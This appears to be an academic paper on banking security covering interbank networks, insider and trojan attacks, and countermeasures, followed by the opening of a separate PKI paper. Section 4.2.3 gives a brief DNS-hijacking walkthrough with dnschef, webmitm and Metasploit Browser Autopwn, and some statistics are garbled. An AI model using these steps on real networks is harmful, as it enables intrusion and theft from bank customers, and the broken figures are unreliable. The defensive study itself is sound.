• Next 2 characters - ISO 3166-1 alpha-2 country code  
• Next 2 characters - location code  
• Last 3 characters - branch code 

 
The registrations of SWIFT Codes are handled by Society for 
Worldwide Interbank Financial Telecommunication which is 
headquartered in La Hulpe, Belgium [8]. 
SWIFT messages are encrypted automatically by SWIFT’s 
regional computer after they have been received from a bank’s 
input terminal. The messages flow through the SWIFT system 
without any operator seeing their unencrypted contents. 
An authentication algorithm guarantees the identity of the sender 
and receiver and reveals any alteration made illegally during 
transmission. With SWIFT messages, the identity of the person or 
institution “on whose behalf” a bank is sending an instruction may 
or may not be specified. To identify or trace a message requires 
the specific number identifying the input sequence or output 
sequence. 

Refer to Figure 3.1.3a Example of SWIFT Message (in 
appendix B) 

3.2 Fedwire 
The Fedwire Funds Service is a real-time gross settlement system 
(RTGS) administered by the Federal Reserve Bank in the United 
States of America. The primary use of Fedwire Funds Service is 
to provide timeliness and certainty for participants in making 
high-value payments. Fedwire fund transfers are highly efficient 
and irrevocable upon final settlement. A set of computer 
applications that route and settle payment orders forms the 
Fedwire.  Fedwire and related applications review payment orders 
for syntax errors; query and update account balances, and then 
notify participants of related credits and debits to their accounts.  

Essentially, fund transfers are implemented when the originator’s 
bank debits the originator’s account and issues a payment order 
according to the originator’s request, initiated through a secure 
electronic message or telephone procedures.  

Upon receiving the payment order, Federal Reserve Bank 
processes order in real time by debiting funds from the sending 
bank and crediting funds to the account of receiving participant. 
Notifications are then sent to the sending bank and the receiving 
bank to indicate fund transfer finality. Fedwire is generally 
accessed by the member banks of the Federal Reserve, financial 
institution with depository accounts with the Federal Reserve ans 
foreign banks located in the United States [4]. 
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Refer to Figure 3.2 (in Appendix B) for example of Fedwire 
sent and received [4] 

3.3 Large Value Transfer System 
Large Value Transfer System (LVTS), launched February 1999, is 
a secure electronic wire system used widely in Canada and it aims 
to facilitate the money transfer in Canadian within and across 
country in Canadian dollars. LVTS make payments fast, efficient, 
safe and secure. SWIFT message such as MT 103 and MT 205 are 
used. MT103 for consumer, business and corporate while MT205 
for banking transaction between financial institutions, credit card 
settlement and securities settlement.  
 
Sixteen institutions currently participate directly in the LVTS, 
including the Bank of Canada. In dollar terms, the system handles 
most of the payment flows that take place every day. In 201, it 
processed an average of about 2,0 payments a day, worth an 
average total of $15.5 billion[5]. 
 
3.3.1  The Payment Network and Transaction 
Transactions made via LVTS are irrevocable once the funds are 
successfully credited into the payee’s account. In fact, the process 
cannot be reversed to prevent stop payment orders, insufficient 
funds, or forged endorsement. It also provides the certainty of 
settlement of a Real Time Gross Settlement (RTGS) system. 
RTGS system is one in which payment instructions between 
banks are processed and settled individually and continuously 
throughout the day. All banking transaction via LVTS utilizes the 
SWIFT Secure IP Network (SIPN) and connects to the Point of 
Presence (POP) in Toronto and Montreal. Every payment message 
that passed the risk control tests will be assigned an alphanumeric 
identifier code known as Payment Confirmation Reference 
Number (PCRN). 
 

Refer to Figure 3.3.1a SWIFT message code in LVTS [7] (in 
Appendix B) 

3.4 CHIPS 
CHIPS is a funds-transfer system that transmits and settles 
payment orders in U.S. dollars for 49 foreign and domestic banks 
which are the largest and most active banks in the world. It is the 
oldest, most innovative bank association and payments processor 
in the United States that was founded in 1853. [17] 
 
3.4.1 System Security of CHIPS 
CHIPS is protected by strict security standards. It has a back-up 
facility which is capable of switching from the primary data center 
to the back-up data center within a short period of time. CHIPS 
maintains a high degree of security, including internal logical and 
physical access controls, encryption, sender authentication, and 
change controls. Its member of participants are responsible for 
their internal security systems used for communications with 
CHIPS, and authentication are make every time a communications 
is established which messages are encrypted using Advanced 
Encryption Standard and a 256-bit key.[18] 
 

Refer to Figure 3.4.1a Diagram showing fund transfer via 
CHIPS (in Appendix B) 

4. BANKING SYSTEM 
VULNERABILITIES 
This section presents the vulnerabilities of banking system that 
lead to insecurity worries for bank customers. Despite its 
unquestionable benefits for corporate and personal businesses, the 
wireless banking services induce a growing insecurity worries for 
many internet banking users. It has been surveyed that about 30% 
of people do not use the internet banking services due to 
insecurity worries [20]. Banks and their customers are often 
exposed to vulnerabilities. Every day, banking websites are hit by 
cyber attack. Citigroup explained that about 360000 bank 
accounts were hacked, incurring loss of $2.7 million [19].  
 

4.1 Insider Attack 
One of the major vulnerabilities of the banking system would be 
insider threat. An insider could be a trusted employee or 
contractor that has been granted a higher level of trust than an 
outsider. The trust mentioned is established through certain means 
of authentication followed by authorization to access internal 
assets. Authentication is the process of establishing identity and 
ensuring the person is who they claim to be. [9]  The report 
“Insider Threat Study: Illicit Cyber Activity in the Banking and 
Finance Sector” (2004) found that in 70% of cases studied, the 
insiders exploited, or attempted to exploit, vulnerabilities of the 
system in applications or procedures to carry out the attacks.  In 
61% of the cases, the insiders exploited vulnerabilities inherent in 
the hardware, software, or network design.  26% percent of the 
cases involved utilization of another user’s computer account, 
physical use of an unsupervised and unsecured terminal, or social 
engineering. Most of the surveyed organizations experienced 
financial or asset loss due to the insider’s attack which amounts to 
91% [11]. 
Some common attacks made by employees or contractors are:   
• Making intentional mistake or changes to system  
• Altering system to perform unintended actions as a form of 

innovation to make the system more usable or easier to 
exploit  

• Checking the system for weaknesses, vulnerabilities or 
errors, with the intention of reporting the problems   
 

4.1.1 Insider attack: Case Studies on UBS 
PaineWebber 
In the case of UBS PaineWebber, the attacker was not going after 
the data, he just wanted to do damage. The attack was designed to 
disable the company rather than garner information. 
In 2006, Roger Duronio was sentenced to 97 months for planting 
a "logic bomb" that took around 2,000 servers nationwide in UBS 
PaineWebber offices four years ago which is in the year of 2002. 
This caused the company to be unable to make trades for 
several weeks in some offices and it cost the company an 
estimated value of $3.1 million to recover from the attack. 
Duronio was a systems administrator at UBS until he tender his 
resignation few weeks before the attack. The government argued 
that Duronio was not just planning to cause damage for UBS; he 
was also looking to cash in through the stock market. Duronio 
built and planted the “logic bomb” ahead of time and then bought 
stock options that would pay out if the company's stock took a 
dive within 11 days which was the period of his planned “logic 
bomb” attack [13]. 
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4.2 Cyber Attack 
With the advancement in today’s software, the waves of cyber 
attacks have been growing since the last decade. Banking is an 
increasingly desirable target for hackers, cyber attackers, and 
cyber terrorists whose desire is to live parasitically off the 
insecurities of the banking system.  Cyber attacks against financial 
institutions can create critical economic damage or asset losses 
which are the primary aims of these attackers. A cyber attack 
could contribute to, or trigger, the financial collapse of a nation, or 
even a group of connected nations. 

In conventional war, military group targets critical infrastructure 
of opponent such as electricity, communications, airports, 
transport and water supplies. However, war against the banking 
system of enemies has been happening as well, banks of foreign 
governments may become subject to acquiescence.  For example 
in March 2012, Iran was mainly cut off from global commerce 
after the international SWIFT banking network severed ties with 
many Iranian banks to back EU sanctions against Tehran. 

To make situations worse, cyber attacks is becoming harder to 
identify, as confirmed by the study released by the security firm 
FireEye, named “Advanced Threat Report” in 2012.  It provides 
an overview of the current threat landscape, evolving 
advanced malware and advanced persistent threat (APT) tactics, 
and the level of infiltration seen in network of organization.[11] 
 An alarming statistics has been shown in the report, in which 
organisations observe an overwhelming rise in advanced malware 
bypassing their security defences. Security experts also discovered 
very often that malware is able to elude common defence 
mechanisms, remaining in stealth for significant period during 
which it operates stealthily. 

According to statistics obtained, the frequency of attacks on 
financial sector has been rapidly increasing between the second 
half of 2011 and the first half of 2012. The financial industry saw 
more attack occurrence in May 2012 than in the entire second half 
of 2011. 

Refer to Figure 4.2a Overview of 2009 Suspicious Activity 
Reports (SARs) filed to the Financial Crimes Enforcement 

Network (FinCEN) [12] (in Appendix C) 
 
4.2.1 Case Study on Cybercrooks Use DDoS Attacks 
To Mask Theft of Banks' Millions 
Distributed Denial of Services (DDoS) attacks are used to distract 
the bank’s security team from a higher security breach. DDoS 
attack utilises multiple devices and internet connections, also 
known as botnet, to flood the targeted bank’s server with requests.  
Consequently, the bank’s IT department will exert its resources to 
handle the numerous Denial of Service attacks. When the DDoS is 
in progress, the real attack is sent. This attack allows adversary to 
access the master payment switch through a privileged user 
account. The criminals can simply initiate money transfers until 
the security breach is discovered. [15] 
4.2.2 Eurograbber  
The Eurograbber banking Trojan is an attack against two-factor 
authentication for online banking transaction. The two factor 
authentication is an additional mechanism for the bank to verify 
customer’s identification. The second authentication process 
involves a Transaction Authentication Number (TAN) that is sent 
by the bank to the customer’s mobile device via SMS after an 
online banking transaction. Thereafter, customer uses TAN to 

make confirmation for the transaction. This commonly used 
authentication practices is often susceptible to the Eurograbber 
attack.  
 
The sophisticated attack begins with the installation of 
Eurograbber Trojans on customer’s devices, such as computers 
and mobile devices. The Trojan usually comes through a “bad 
link” in phishing email or during internet browsing. Once user 
unconsciously downloads the Trojans into his computer, the 
attackers commence the attack by monitoring and manipulating 
the online banking sessions of the victim. 
 
The next phase of attack is designed to overcome the two-factor 
authentication process of online banking transaction. Eurograbber 
first instructs user to enter their mobile phone number during the 
online banking session. Then, user is deceived for some security 
upgrade on their mobile phones that actually downloads a type of 
“Zeus in the mobile” (ZITMO) Trojan. Consequently, the mobile 
Trojan is able to intercept the bank’s SMSes containing TAN. 
Therefore, attackers circumvent the two-way authentication 
process and make malicious transactions, such as money transfer 
from the victim’s bank account without evidence of illegitimate 
activity.[14] 
 
Eurograbber Attack scenario A: The infection 

 
Refer to Figure 4.2.2a Diagram of infection process in 

Eurograbber (in Appendix C) 
 
1. The Trojan first infected victim’s computer through a malicious 
link. The download of the Trojan is hidden from the victim. 
 
2. When the victim logs in to online banking, the Eurograbber 
Trojan instructs user for security updates (Figure 4.2.2c in 
Appendix C).  
 
Refer to Figure.4.2.2b Javascript program to deliver victim’s 

mobile information (in Appendix C) 
 
3. The Eurograbber Trojan sends victim’s mobile information to 
the dropzone. (Figure 4.2.2d in Appendix C) 
 
4-5. The Eurograbber Trojan instructs “Security Upgrades” on 
victim’s mobile via SMS and on desktop. 
 
6-7. Confirmation of “Security Update” is then sent to victim’s 
mobile and computer. The victim is finally assured to make any 
online transaction. At this point both devices have been infected. 

 
Eurograbber Attack scenario B: The money theft  

 
Figure 4.2.2.e Diagram of Eurograbber’s attack on victim’s 

bank account (in Appendix C) 
 
1-2. when victim logs in to the online banking services, 
Eurograbber initiates its illicit transfer from user’s bank account 
to a mule account. 
 
3-4. the mobile Trojan intercepts the TAN-authentication SMS 
from the bank and sends it to a server, hiding it from user. 
 
5. The TAN is then extracted and used for completion of 
malicious transactions. 
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4.2.3  Banking Attacks via DNS Redirection 
Wireless routers such as Linksys, Cisco, Netgear, ASUS, TP-
LINK and TENDA are susceptible to unauthorized attackers. One 
of the exploitations that hackers used is Domain Name System 
(DNS) redirection where hackers modify the DNS servers’ 
settings in the router and redirect users into fake bank websites. 
On top of that, any queries from the victim’s network will be re-
routed to the rogue servers. Device platform is no longer an issue 
opened for attackers, as illegal access is made through wireless 
connection. The way DNS hijacking works is that the website 
links, which should be rightfully forwarded to the legitimate 
server with its IP address, are changed to malicious server 
address. This situation allows interception, inspection and 
modification of the traffic between users and the online banking 
websites they wanted to target.[21] 
 
Banking and e-commerce websites are securely encrypted with 
HTTPS with SSL communication protocol. The objective is to 
prevent hackers impersonate them without a valid digital 
certificate; nevertheless, hackers are still capable to bypass the 
loophole using the SSL strip technique to spoof digital 
certificates.  
 
Below is the demonstration of DNS hijacking: 
DNS Proxy tool 'Dnschef' and exploitation tools including 
Metasploit, webmitm and Burp Suite are used.  
 
Firstly, run the command “./dnschef.py –interface 192.168.1.106 
–fakeip 192.168.1.106” (where interface is the original IP address 
and fakeip is the resolution of the DNS query). Next, run 
'webmitm tool' that will handle the HTTP requests and responses 
and also forward the traffic to Burp Suite Proxy to inject an iframe 
of the Metasploit's Browser AUTOPWN Server. Finally, launch 
the Bowser AUTOPWN module on Metasploit and get access. 
 

5. INTERNET BANKING SYSTEM 
5.1 Security Standards 
ISACA, previously known as the Information Systems Audit and 
Control Association, sets a guideline as a recommended practice 
to conduct a review of Internet banking initiatives, applications 
and implementations. The guideline identifies risks and controls 
and also proposes numerous aspects of case studies which include 
the organization, policy, planning, Information System (IS) 
infrastructure, telecommunication infrastructure, authentication 
and third-party service provider aspects. [24] 

All online banking systems maintain strict security standards and 
procedures as follow: 

• Use of Secure Socket Layer (SSL) Protocol, 128-bit/256-
bit advanced encryption and one-way hashing for all 
sensitive information and data send. 

• Servers are protected with firewalls and systems are 
monitored to prevent any unauthorised access. 

• Two factor authentication (2FA) - A User Password, 
Security Token 

• Automatic logout feature of 8 to 15 minutes. 
 
 
 

 

5.2 Type of Attacks [24] 
Attack trees provide a formal methodology for analyzing the 
security of systems and subsystems. Each leaf node represents a 
method to reach the target, while the root of the attack tree 
indicates the final target of the attacker, which is the compromise 
of the user’s bank account.  
 
Refer to appendix figure 5.2.a (in Appendix D) for the attack 

tree. 
 

The types of attack are categorized into three parts: the User 
Terminal/User (UT/U), the Communication Channel (CC) and the 
Internet Banking Server (IBS) which are as follow: 

UT/U attacks: Attacks that target user equipment such as 
smartcards and password generators which include the following: 

• UT/U1 (Procedural attacks): 
o UT/U1a (User surveillance / piggybacking): 

Automatic Teller Machines (ATMs) is installed 
with cameras to observe user’s personal 
identification number (PIN). 

o UT/U1b (Theft of token and handwritten note 
stealing): Stolen security token and handwritten 
note with long-winded username and password 
can lead to identity theft. 

• UT/U2 (Malicious software installation): 
o UT/U2a (Hidden code): An attack which installs 

malicious software in the user terminal with 
hidden code within a web page. Usually through 
permissions on application support, extensions 
and running of software on the browser. 

o UT/U2b (Worms and bots): Worms search for 
vulnerabilities and exploit them automatically. 
The embedment of dynamic content may 
automatically be deployed using bots during 
instant messaging and communication software. 

o UT/U2c (E-mail with malicious code): E-mail that 
contains malicious content with embedded applets 
in the executable files or HTML code. 

• UT/U3 (Token attack tools): 
o UT/U3a (Smart card analyzers): A very effective 

attack that is sophisticated and hard to implement. 
It reveals the cryptographic keys and passwords of 
the smart card by power consumption analysis or 
time analysis. 

o UT/U3b (Smart card reader manipulator): A smart 
card readers that is non-certified conduct an 
unauthorized operation to expose the contents of 
the smart card. 

o UT/U3c (Brute-force attacks with PIN 
calculators): An attack which focus on breaking 
the security of tokens that generate random PINs. 

• UT/U4 (Phishing): 
o UT/U4a (Social engineering): A non-technical 

means attack which compromise the user’s 
credentials. Example, masquerading as a bank 
official asking for username and password through 
phone calls or E-mail. 

o UT/U4b (Web page obfuscation): An attack which 
confuses the user by creating a similar web page 
or deploys hidden frames to cover real activity of 
a web page with malicious content. 
 

148



CC attacks: Attack that focuses on communication links which 
include the following: 

• CC1 (Pharming): An attack that alters the domain name 
servers (DNSs) which connect the user to fraudulent 
sites instead of the original sites. 

• CC2 (Sniffing): An attack that masquerade both client 
and server to capture information such as username and 
password. 

• CC3 (Active man-in-the-middle attacks): A form of 
active eavesdropping in which the attackers relay the 
messages sent between UT and IBS. 

• CC4 (Session hijacking): Spoofing the user’s identity by 
forcing a connection from user to IBS with a present 
session ID to obtain that ID once user authenticates to 
the server. 

 
IBS attacks: An offline attacks that target the servers that host the 
internet banking application using the following methods: 

• IBS1 (Brute-force attacks): This attack mechanisms use 
an automated programs which calculate username and 
password with zombie personal computers. It is usually 
combined with username filtering methods to determine 
the validity of a username from the responses of the 
server. 

• IBS2 (Bank security policy violation): May cause 
exposure of customer’s account with the combination of 
weak access control and logging mechanisms. 

• IBS3 (Web site manipulation): User may be redirected 
to a fraudulent web page where information is captured 
that is caused by altering contents of the internet 
banking web server due to its vulnerabilities. 
 

Refer to figure 5.2b for Additional countermeasures (in 
Appendix D). 

5.3  Standard Authentication Methods 
• Static Password 

The most commonly used authentication mechanism. 
However, malicious could deploy sniffing attacks by 
splitting SSL channel into two, between UT and 
attacker, and between attacker and IBS. 

 
• Soft-token Certificate/SSL-TLS 

A certificate that is stored in the user’s browser which 
conducts mutual authentication between the UT and 
IBS. Prone to UT/U2 attacks which result in identity 
theft. 

• Hard-token Certificate/SSL-TLS 
A mechanism which authentication is made through an 
object that is in possession of the user. However is 
prone to a number of hardware and software attacks. 

• One-time Password/Time-based Code Generator 
One-time passwords generator is a mechanism that is 
generated by a random calculator, which is usually via 
security token or mobile SMS. 

• Challenge-response 
A similar mechanism as One-time password generator 
but adding an authentication process which IBS 
generates a challenge for UT/T to produce a response. 

6. COUNTERMEASURES 
6.1 Security Technology for online banking 
Online banking transactions are always vulnerable to complex, 
multi-faceted attacks from hackers. Thus, banks must protect end 
users of online banking with a multi-faceted security solution that 
understands all the trends of hacking and combines all the 
technologies that can ensure security for end user’s data input, 
security for web browsing and security for the network. 

Refer to Figure 6.1a Implementation of multi-stage security 
on online banking transaction (in Appendix E) 

6.1.1 Anti-key logging Technology  
To ensure a safe online-banking, keyboard input values by users 
should not be leaked out to third party throughout the entire 
banking session. In other words, key entries must be protected 
from the end user’s keyboard input to what is stored on web 
browser’s cache and what is finally reflected on the screen. To 
implement keyboard security, the solution must be able to detect 
every key logging in the kernel level and user level. 
 
At the kernel level, the input values are protected and encrypted 
from the port to Interrupt Descriptor Table(IDT) and from the port 
to Keyboard Driver. At the user level, memory barrier is protected 
and the data remains encrypted throughout transmission. As an 
enhancement, a sophisticated technology must be applied which 
only display meaningless dummy data when it is captured through 
Browser Helper Object or API of the browser[26]. 
 
Refer to Figure 6.1.1a Anti-key logger protects every stage of 

the transaction carried out during keyboard input (in 
Appendix E) 

6.1.2 Secure Web Browser Technology  
Web browser has much vulnerability that allows hackers to do 
Man-in-the-Browser attack. Web browser has structural 
weaknesses against MITB attacks such as tampering with the web 
page by BHO and external processors. With secure browsing 
technology, the browser prevents debugging and reverse 
engineering by hackers and blocks any attempt to access and 
tamper with its memory.  
 
This technology should block Component Object Model (COM) 
hooking and cross-site scripting as well as the screen capture to 
protect against inputting the image type password. Finally, this 
web browser technology should be able to block phishing and 
pharming attacks done by falsifying hosts files or DNS. 
 

Figure 6.1.2a Secure Browser wards off hacking and MITB 
applying the anti–hacking browser service (in Appendix D) 

6.1.3 Anti-Hacking and Network Security 
Technology  
This security technology provides security by prevent illegal 
intruders and unauthorized hackers from intercepting the network. 
This security solution prevent illegal access on the user’s level 
and kernel level, thus blocking and removing Trojans that have 
been identified in real time. To cope with future unknown threats, 
online banking environment must be recomposed and 
unauthorized access of network communications must be 
prevented. 
Refer to Figure 6.1.3a Secure and reliable electronic financial 

transaction environment (in Appendix E) 
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6.2 Countermeasure for Android banking 
applications 
Open policy allows any user to publish Android applications in 
App Store. Decompiling the apps is just as simple due to the 
structural characteristics of the app building process, thus making 
them very susceptible to forgery or modification attacks. In fact, 
hackers tend to exploit the loopholes in online banking 
applications which are of security concerns. Some vulnerabilities 
include illegally obtain any of the sender’s personal information 
such as public key certificate, bank account password payment 
credentials. 

6.2.1 Self-Signing Restriction 
Self-signing policy prevention can be considered as a 
countermeasure against repackaging attacks. Generally, imposing 
a rule change from self-signing to signed by-market and only 
allow app distribution with the market’s signature can definitely 
solve the problem. However, this would violate Android’s open 
policy and the seamless update advantage would be lost. Hence, 
this restriction creates a requirement for a technique for 
maintaining compatibility with the existing system while 
addressing the vulnerability. Introducing multi-signature-based 
app signing scheme can minimize changes to the existing system 
while meeting the seamless update requirement. 

6.2.2 Code Obfuscation 
Obfuscation is a way of making reverse engineering of source 
code or machine code less possible. Although this method cannot 
completely defend against reverse engineering, it can prevent 
exposure of logic function of code by complicating analysis. Two 
common methods are source code obfuscation and binary code 
obfuscation.  
Proguard is the default obfuscation tool provided by Android and 
is used for Java source obfuscation. Proguard supports layout 
obfuscation and changes class names, method names, and member 
variable names into meaningless, randomized character strings in 
order to obfuscate the code for class names and method names. 
However, software control logic remains unchanged after 
obfuscation and therefore attacker can discover the functions of 
classes and methods by analyzing the software logic. To 
overcome this weakness, a logic obfuscation technique such as 
control obfuscation is performed, but control obfuscation 
generally has the shortcoming of lowering code execution 
performance [27]. 
Refer to Figure 6.2.2.a "Puzzle Processing Obfuscation” turns 

software details into ‘mathematical jigsaw puzzle’ (in 
Appendix E) 

6.2.3 Code Attestation 
The Trusted Platform Module (TPM) is considered one of the 
effective countermeasures that designed for smart phone apps 
especially banking apps. Since TPM is a hardware-based platform 
security solution, secure booting from the boot loader to the OS 
kernel and library module loading can be achieved. In particular, 
remote attestation can remotely check platform integrity by 
checking whether the user app has been forged before financial 
data is exchanged between the banking server and client. 
Additionally, static integrity checking of binary execution code 
can be done on a smart phone. Malicious forged apps can be 
detected by remote attestation during execution time.  
 

Refer to Figure 6.2.3a Components of a Trusted Platform 
Module (in Appendix E) 

6.2.4 Visual transaction signing 
DIGIPASS 760, designed by VASCO, is an innovative 
authentication device that allow bank to establish a secure 
communication channel with the client while countering against 
malware or social engineering attacks. This device is standalone 
and there is no Internet connection required, so security threats 
and portability issues are eliminated.  
 
First of all, bank account holders enter their transaction details on 
the bank’s website where these details are encrypted as a 
graphical cryptogram which consists of a matrix of colored dots 
on the user’s computer. Next, users simply scan this image with 
the DIGIPASS 760 to decrypts the colored cryptogram and the 
transaction details are presented on the DIGIPASS color display 
for user verification. A signature is then generated on the 
DIGIPASS 760 which the user enters on the bank’s website to 
confirm the transaction [29]. 
 
DIGIPASS 760 “WHAT YOU SEE IS WHAT YOU SIGN” 
feature offers an ultimate user experience which ideally suitable 
for banks looking to use e-signatures to secure online transactions 
without compromising on user-friendliness. The user doesn’t need 
to type any transaction details into the device as all data are 
captured through the CrontoSign image [28]. 
 

Figure 6.2.4a Example of Visual Transaction Signing (in 
Appendix E) 

6.2.5 Secured Channel - Zone Trusted Information 
Channel (ZTIC) 
IBM has introduced the Zone Trusted Information Channel 
(ZTIC) which is hardware device that can counter man-in-the-
middle attacks such malicious Trojan intercept transactions that 
require two-factor authentication. The ZTIC is a USB-attached 
device containing a display and minimal input-output capabilities 
that runs the full TLS/SSL protocol, thus entirely bypassing the 
PC's software for all security functionality [30]. 
 
The ZTIC registering itself as a USB Mass Storage Device and 
starting a "pass-through" proxy configured to connect with pre-
configured banking websites. The ZITC establishes a connection 
with the bank's website through the ZTIC proxy. Thus, all data 
transmitted between browser and server pass through the ZTIC. 
The SSL session is protected by keys maintained only on the 
ZTIC and, hence, is inaccessible to malware on the PC. 
 
In addition, all critical transaction information, such as target 
account numbers, is automatically detected in the data stream 
between browser and ZTIC. This critical information is displayed 
on the ZTIC for explicit user confirmation. If any malware on the 
PC has inserted incorrect transaction data into the browser, it can 
be easily detected by the user at this moment. 

 
Refer to Figure 6.2.5a ZTIC device (in appendix) 

Refer to Figure 6.2.5b Diagram showing how ZTIC works (in 
Appendix E) 
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6.2.6 Mutual Authentication with SSL encryption 
Transport Layer Security (TLS) or Secure Sockets Layer (SSL) is 
the mechanism to provide secure communication over the 
internet. This protocol is widely used in banking website to 
provide secure HTTPS communication channel between server 
and client.  
 
TLS/SSL protocol provides server authentication, client 
authentication, data encryption, and data integrity over internet. 
This has prevented third party (hacker) to intercept the network to 
stealthily steal banking credentials and online transaction 
information. Nonetheless, SSL have an issue of performance 
downgrade since every data should be encrypted when transmitted 
over the secured channel.  

 
Refer to Figure 6.2.6a SSL Handshake (in Appendix F) 

 
Firstly, server sends a Certificate message containing server’s 
certificate including its public key to the client. Server requests 
client’s certificate. Next, client replies to the server with 
Certificate message. The client then sends the session key 
information which is encrypted with server’s public key and a 
Certificate Verify message to verify client’s authentication.  
 
One master secret code is computed and agreed by server and 
client. The client sends Change Cipher Spec message to activate 
the negotiated SSL encryption options and request the server to 
start the encryption. 
 
The server confirms to start the encryption and sends Change 
Cipher Spec message to activate the previously negotiated 
options. Finally, server sends the finished message to the client 
and requests it to check the newly activated options. This 
completes the handshake process. 
 
The messages are now encrypted and the client and server 
communicate securely through encrypted messages only. 
 

Figure 6.2.6b Mutual SSL Authenticating via SSL 
communication (in Appendix F) 

 
7. CONCLUSION 
The security of a banking infrastructure is one the biggest concern 
of financial institution and customers. While wireless financial 
transactions and funds transfer are required to be efficient, the 
systems implemented have to provide a high level of reliability 
and integrity. Banking system has to be able to ensure that access 
to sensitive informations is kept confidential. Furthermore, 
interbank’s transfer of data has to be kept secured from end to 
end. This is to ensure that no third parties can steal or manipulate 
the information. Thus, not only the entry and exit point but the 
transfer process of a banking system should also be kept secured 
and protected from attacks at all times.  
 
However, the advancement in technology does not necessarily 
mean an impregnable banking system. There are still 
vulnerabilities and loopholes in the current banking system that 
might lead to financial or information loss due to attacks. The 
attacks can come from anyone and from anywhere across the 
country. As Ross Anderson mentioned [25], attackers could be 
clever outsiders, knowledgeable insiders and funded 
organizations. Furthermore, while the most common motive of 
attacks is financial gain, as we have shown in the UBS case study, 

other motives, such as vengeance, can also drive the attacks. An 
attack however requires three basic tools, Method, Opportunity 
and Motives. With the three tools, an attack is inevitable to any 
secured banking systems. 
 
Every financial institute is proactively protecting customer’s fund 
and confidential information. Striving towards maximum security 
level, banks are exploring multi-layer system protections. Their 
safety mechanisms include firewalls, multifactor authentications 
and various encryptions. At the same time, banks are putting their 
efforts on educating their customers to safeguard their 
identifications, pins and passwords information. 
 
In conclusion, insecurity worries on banking system are still 
existent today. However sophisticated and secure a system claims 
to be, it is unwise to be entirely confident on a particular 
mechanism. Both banks and customers need to be vigilant in 
making a secure banking system.  
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Appendix A 
 

   

      Figure 2.1a Application of Clark-Wilson in bank  Figure 2.2a Internal Control Architecture of Bank 
 

 
Figure 2.4a Bank Server Securities and Branching 

 
Figure 3.1.1a Illustration of SWIFT’s architecture [3] 
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Appendix B 

 

       

          Figure 3.1.3a Example of SWIFT Message         Figure 3.2a example of Fedwire sent and received [4] 
 
  

  

   Figure 3.3.1a SWIFT message code in LVTS [7]                Figure 3.4.1a Diagram showing fund transfer via CHIPS 
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Appendix C 

 

Figure 4.2a Overview of 2009 Suspicious Activity Reports (SARs) filed to the Financial Crimes Enforcement Network [12] 

 
Figure 4.2.2a Diagram of infection process in Eurograbber 

 

   
Figure 4.2.2b JavaScript program to deliver victim’s mobile information          Figure 4.2.2c Malicious “Security Updates” injection 

  
Figure 4.2.2.e Diagram of Eurograbber’s attack on victim’s bank account         Figure 4.2.2d Example of JavaScript injection 
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Appendix D 

 

 
Figure 5.2a The attack tree 

 
Figure 5.2.b Additional countermeasure selection 
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Appendix E 

 
     Figure 6.1a Multi-stage Security     Banking Figure 6.1.1a Anti-key logger  

  
    Figure 6.1.2a Secure Browser against MitB attack    Figure 6.1.3a Secure banking transaction environment 

 

   
                    Figure 6.2.2.a "Puzzle Processing Obfuscation”   Figure 6.2.3a Components of a Trusted Platform Module 

 

                   
Figure 6.2.4a Visual Transaction Signing            Figure 6.2.5a ZTIC device                           Figure 6.2.5b Diagram on how ZTIC works 
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Appendix F 

 
Figure 6.2.6a SSL Handshake 

 
 

 
Figure 6.2.6b Mutual SSL Authenticating via SSL communication 
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ABSTRACT 
In this paper, we explore the issues leading to insecurity worries 
with PKI, particularly the “duplicate public key” problem.   

Traditional cryptography has usually involved the creation and 
sharing of a secret key for the encryption and decryption of 
messages. However, one major flaw of this secret or private key 
system is that when the key is discovered or intercepted by a man-
in-the-middle, the message can be decrypted. For this reason, 
public key cryptography and the public key infrastructure is the 
preferred approach on the Internet. The private key system is 
sometimes known as symmetric cryptography and the public key 
system as asymmetric cryptography.  

Categories and Subject Descriptors 
D.4.6 [Security and Protection]: Authentication – Public Key 
Infrastructure.  

General Terms 
Documentation, Security, Theory 

1. INTRODUCTION 
PKI (Public Key Infrastructure) enables users of an insecure 
network to exchange messages confidentially and securely 
through the use of a public and a private cryptographic key pair 
that is obtained and shared through a trusted authority. The public 
key infrastructure serves as a method to authenticate an individual 
or an organization and directory services.  

2. PKI 
2.1 Goals of PKI 
Every network security infrastructure needs to be capable of 
solving the 4 major security problems: confidentiality, data 
integrity, data authentication and non-repudiation.  

Confidentiality is required to ensure nobody else gains access to 
the message, except the recipient. Authentication is important for 
senders and receivers to validate each other’s identity, ensuring 
that the message transmission process is secure.  

 

Figure 1. How PKI is used for message authentication 

Figure 1 shows how PKI is used for message authentication. Any 
recipient could read the message signed by Alex and the signature 
checked by anyone who had access to Alex’s public key. 
Therefore, the message is not secret between Alex and Sam. In 
order to In order to securely encrypt the message such that only 
Sam could read it, Alex would need to make use of Sam's public 
key. A message encrypted with Sam's public key may only be 
decrypted using Sam's private key, which is known only to Sam. 

Digital signatures may be combined with secrecy in the above 
example if the message is signed using Alex's private key and 
then encrypted using Sam's public key. This will be discussed in 
the next section. 

The PKI infrastructure also needs to ensure message integrity to 
prevent alteration of messages and prevent replays. Non-
repudiation is also an important goal as it prevents the source 
from denying having sent the message. By doing this, 
authentication can be preserved. 

Thus, we can conclude that the goals of PKI would also be to 
solve the 4 problems ementioned above.  

2.2 Methods of certification 
There are various methods one can certify the confidentiality and 
authenticity of a message.  
A certificate authority (CA) can issue and verify a digital 
certificate. A certificate includes the public key or information 
about the public key. It is responsible for the generation, 
distribution and management of public keys.  

Most CAs comprise of a number of components, with the two 
major components being the Registration Authority (RA) and the 
certificate repository. 

A registration authority (RA) does most of the administrative 
roles of a CA, acting as the verifier for the certificate authority 
before a digital certificate is issued to a requestor. A certificate 
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repository is a public database, which keeps a record of current 
certificates and revocation lists. The reason to why we need to 
keep the updated revocation lists is because certificates need to be 
deactivated if users have no need for them or if a user’s private 
key has been compromised. Thus, the certificate repository 
ensures that only legitimate digital certificates and key pairs are 
being used. 

2.3 Open and Closed PKI 
There are advantages and disadvantages for using open and closed 
PKI respectively. We shall see the differences between the two 
infrastructures. 

2.3.1 Open PKI 
For open PKI, the architecture allows the public to be able to 
inspect so that people can decide if their systems are compatible 
with the PKI. A digital certificate has to be obtained by having a 
partnership between the individuals and a third-party CA. 

In order to utilize open PKI solution fully, the solution should 
integrate seamlessly into the client’s infrastructure so as not to 
disrupt any programs or services which are already running at that 
point in time. However, in real life, this is difficult to achieve due 
to the many types of business architectures that exist. Thus, in 
order for open PKI solution to be successful, the PKI must 
integrate smoothly into the existing architecture, ensuring that all 
other services are not disrupted. 

2.3.1.1 Advantages 
